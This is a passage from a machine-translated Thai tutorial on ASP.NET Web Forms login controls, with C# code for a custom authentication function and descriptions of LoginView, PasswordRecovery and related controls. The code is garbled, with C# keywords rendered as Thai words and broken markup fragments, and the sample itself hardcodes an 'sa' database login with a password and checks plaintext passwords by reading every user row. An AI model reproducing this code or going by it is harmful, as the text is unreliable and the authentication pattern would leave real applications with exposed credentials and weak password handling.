    9. ป้องกันโมฆะ Page_Load (ผู้ส่งวัตถุ EventArgs e)
    10. ถ้า (!this.IsPostBack)
    11. ป้องกันเป็นโมฆะ Login1_Authenticate(object ผู้ส่ง AuthenticateEventArgs จ)
    12. ถ้า (YourValidationFunction(Login1.UserName, Login1.Password))
    13. // e.Authenticated = จริง;
    14. เข้าสู่ระบบ1.Visible = เท็จ ;
    15. MessageLabel.Text = "เข้าสู่ระบบสำเร็จ" ;
    16. อื่น
    17. e.Authenticated = เท็จ ;
    18. ป้องกันโมฆะ Login1_LoginError (ผู้ส่งวัตถุ EventArgs e)
    19. ถ้า (ViewState[ "LoginErrors" ] == null )
    20. ViewState["LoginErrors"] = 0;
    21. int ErrorCount = (int )ViewState[ "LoginErrors" ] + 1;
    22. ViewState["LoginErrors" ] = ErrorCount;
    23. ถ้า ((ErrorCount > 3) && (Login1.PasswordRecoveryUrl !=สตริง .Empty))
    24. Response.Redirect (เข้าสู่ระบบ1.PasswordRecoveryUrl);
    25. บูลส่วนตัว YourValidationFunction(สตริง ชื่อผู้ใช้ รหัสผ่านสตริง)
    26. bool boolReturnValue = เท็จ ;
    27. สตริง strConnection = "เซิร์ฟเวอร์=.;ฐานข้อมูล=ผู้ขาย;uid=sa;pwd=wintellect;";
    28. sqlConnection sqlConnection = ใหม่ SqlConnection (strConnection);
    29. สตริง SQLQuery = "เลือกชื่อผู้ใช้ รหัสผ่านจากการเข้าสู่ระบบ";
    30. คำสั่ง sqlCommand = ใหม่ SqlCommand (SQLQuery, sqlConnection);
    31. ดร. sqlDataReader;
    32. sqlConnection.Open();
    33. ดร = command.ExecuteReader();
    34. ในขณะที่ (DrRead())
    35. ถ้า ((ชื่อผู้ใช้ == Dr[ "ชื่อผู้ใช้" ].ToString()) & (รหัสผ่าน == Dr["รหัสผ่าน" ].ToString()))
    36. boolReturnValue = จริง ;
    37. ดร.ปิด();
    38. ส่งคืน boolReturnValue;
    39. ส่งคืน boolReturnValue;

    หากคุณใส่ชื่อผู้ใช้และรหัสผ่านผิด ข้อความจะแสดงดังนี้:

    หากคุณใส่ชื่อผู้ใช้ รหัสผ่านที่ถูกต้อง จากนั้นเปลี่ยนเส้นทางเพจของคุณได้ทุกที่ที่คุณต้องการ หรือคุณสามารถแสดงข้อความใน ErrorLabel ได้ดังนี้:

    ฉันกำลังแนบฐานข้อมูลของฉันกับแอปพลิเคชันในโฟลเดอร์ App_Data หากคุณต้องการใช้ฐานข้อมูลของฉัน ให้แนบไฟล์ .MDF ของฉัน

    คำถามและข้อสงสัยใด ๆ ถามฉันได้ตลอดเวลา

    เป็นส่วนหนึ่งของเทคโนโลยี ASP.Net Web Forms มีชุด ES สำหรับการสร้างและใช้งานบัญชีผู้ใช้:

    • เข้าสู่ระบบ - ES สำหรับเชื่อมต่อผู้ใช้ (ป้อนชื่อและรหัสผ่าน) และตรวจสอบความสอดคล้องกับข้อมูลที่มีอยู่ในฐานข้อมูล หากข้อมูลตรงกัน (กล่าวคือ ผู้ใช้ได้รับการตรวจสอบสิทธิ์แล้ว การเปลี่ยนแปลงไปยังหน้าที่ร้องขอจะถูกดำเนินการ)
    • LoginView - ให้คุณแสดงข้อมูลต่าง ๆ สำหรับผู้ใช้ที่เชื่อมต่อ ตัวอย่างเช่น คุณสามารถใช้เพจนี้เพื่อแสดงข้อมูลที่มีให้เฉพาะผู้ใช้ที่ผ่านการตรวจสอบสิทธิ์เท่านั้น
    • LoginStatus - UI ที่แสดงลิงก์ไปยังหน้าเข้าสู่ระบบสำหรับผู้ใช้ที่ยังไม่ได้รับการยืนยัน (ออกจากระบบ) และลิงก์ไปยังหน้าออกจากระบบสำหรับผู้ใช้ที่เข้าสู่ระบบ (เข้าสู่ระบบ)
    • LoginName - UI แสดงชื่อผู้ใช้ปัจจุบันหากเชื่อมต่อกับระบบ
    • การกู้คืนรหัสผ่านคือ ES สำหรับการกู้คืนรหัสผ่านของผู้ใช้โดยการส่งข้อความอีเมลหรือเมื่อผู้ใช้ตอบคำถามลับ
    • CreateUserWizard เป็น ES ที่รวบรวมข้อมูลเกี่ยวกับผู้ใช้ใหม่และสร้างบัญชีใหม่ในฐานข้อมูล
    • ChangePassword - EC ที่อนุญาตให้ผู้ใช้ที่เชื่อมต่อเปลี่ยนรหัสผ่าน

    ส่วนควบคุมการเข้าสู่ระบบมีส่วนต่อประสานที่พร้อมใช้งานที่พร้อมท์ให้ใส่ชื่อผู้ใช้และรหัสผ่าน ประกอบด้วยปุ่มที่มีแอตทริบิวต์ CommandName-"Login" เพื่อเชื่อมต่อผู้ใช้ เมื่อผู้ใช้คลิกที่ปุ่มนี้ ES จะตรวจสอบโดยอัตโนมัติว่าชื่อผู้ใช้และรหัสผ่านที่ป้อนตรงกับข้อมูลในฐานข้อมูลหรือไม่ แบบฟอร์มเว็บที่ร้องขอของแอปพลิเคชัน ES นี้สามารถขยายได้อย่างเต็มที่และช่วยให้คุณสามารถแทนที่มาร์กอัป สไตล์ และคุณสมบัติของมันได้ตลอดจนจัดการเหตุการณ์ด้วยตัวคุณเองเพื่อเปลี่ยนพฤติกรรมเริ่มต้น

    <%@ Page Language="C#" AutoEventWireup="true”

    CodeFile="LogPage.aspx.cs" Inherits="LogPage" %>

    BorderColor="Black" BorderStyle="double">

    การเชื่อมต่อกับระบบ

    ControlToValidate="รหัสผ่าน" ErrorMessage=”*” />

    การแสดงล็อกอิน ES ที่กำหนดค่าไว้ด้านบนจะแสดงในรูปที่ 4.22.

    ข้าว. 4.22. กำลังแสดงการเข้าสู่ระบบ ES ที่กำหนดค่าไว้

    ES LoginView ค่อนข้างเรียบง่ายและมีประสิทธิภาพ ช่วยให้คุณแสดงชุด EG ต่างๆ สำหรับผู้ใช้ที่ไม่ระบุชื่อและรับรองความถูกต้อง นอกจากนี้ ยังช่วยให้คุณแสดงระยะห่างของเนื้อหา โดยคำนึงถึงบทบาทของผู้ใช้ที่เชื่อมต่ออยู่ด้วย เอนทิตี LoginView เป็นเอนทิตีเทมเพลตที่มีเทมเพลตประเภทต่างๆ: อันหนึ่งสำหรับผู้ใช้ที่ไม่ระบุชื่อ อีกอันสำหรับผู้ใช้ที่รับรองความถูกต้อง และอีกอันหนึ่งเพื่อรองรับเทมเพลตที่รับรู้บทบาท

    ในเทมเพลตเหล่านี้ คุณเพียงแค่ต้องเพิ่ม EI เพื่อแสดงสถานการณ์ที่เกี่ยวข้อง ดังที่แสดงด้านล่าง ES นี้แสดงข้อความธรรมดาสำหรับผู้ใช้ที่ไม่ระบุชื่อและข้อความบางส่วนสำหรับผู้ใช้ที่ลงทะเบียน:

    Bbi เป็นผู้ใช้ที่ไม่ระบุชื่อ

    Bbi เชื่อมต่อกับ web-npHno>KeHHK>

    <1т2>เฉพาะผู้ดูแลระบบเท่านั้นที่สามารถเห็นเนื้อหานี้

    เนื้อหานี้มีไว้สำหรับนักออกแบบเว็บไซต์และผู้อ่าน

    ตัวอย่างของการใช้ ES เพื่อรักษาความปลอดภัยเว็บแอปพลิเคชันสามารถพบได้ในโฟลเดอร์บัญชีของเทมเพลตเว็บไซต์ ASP.Net มาตรฐาน